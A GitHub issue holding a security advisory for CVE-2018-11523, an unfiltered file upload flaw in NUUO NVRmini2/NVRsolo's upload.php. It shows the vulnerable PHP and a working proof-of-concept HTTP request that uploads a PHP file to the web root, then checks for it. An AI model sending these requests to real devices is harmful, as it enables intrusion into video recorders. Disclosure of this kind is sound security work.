Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[CVE-2018-11523] NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability #1

Open
unh3x opened this issue May 28, 2018 · 0 comments

Comments

@unh3x
Copy link
Owner

unh3x commented May 28, 2018

NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability

==========================
Advisory: NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability
Author: M3@pandas From DBAppSecurity
Affected Version: All

Vulnerability Description

Recetly, I found an Arbitrary File Upload Vulnerability in 'NUUO NVRmini2' program, NVRmini2 is widely used all over the world.

Vulnerable cgi: /upload.php

<?php 
//echo $_FILES['userfile']['type'];
//echo ":";
//echo $_FILES['userfile']['size'];
//echo ":";
//echo urldecode($_FILES['userfile']['name']);
//echo ":";
//echo $_FILES['userfile']['tmp_name'];
//echo ":";
//echo $_FILES['userfile']['error'];
//echo ":";
echo $_FILES['userfile']['name'];
copy($_FILES["userfile"]["tmp_name"],$_FILES['userfile']['name']);
?>

As the code above, no any filter, so we can upload a php shell directly to the web server.

==========================
POC && EXP

  1. Upload 'nuuonvr.php' to web root path:

    POST /upload.php HTTP/1.1
    Host: 192.168.10.1
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: multipart/form-data; boundary=--------969849961
    Content-Length: 162
    
    ----------969849961
    Content-Disposition: form-data; name="userfile"; filename="nuuonvr.php"
    
    <?php phpinfo();@unlink(__FILE__);?>
    ----------969849961--
    

2. Check if the php file is uploaded successfully:

	GET http://192.168.10.1/nuuonvr.php 

   If the page returns phpinfo info, target is vulnerable! 

   Just enjoy it!
@unh3x unh3x changed the title NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability [CVE-2018-11523] NUUO NVRmini2 / NVRsolo Arbitrary File Upload Vulnerability Jun 3, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant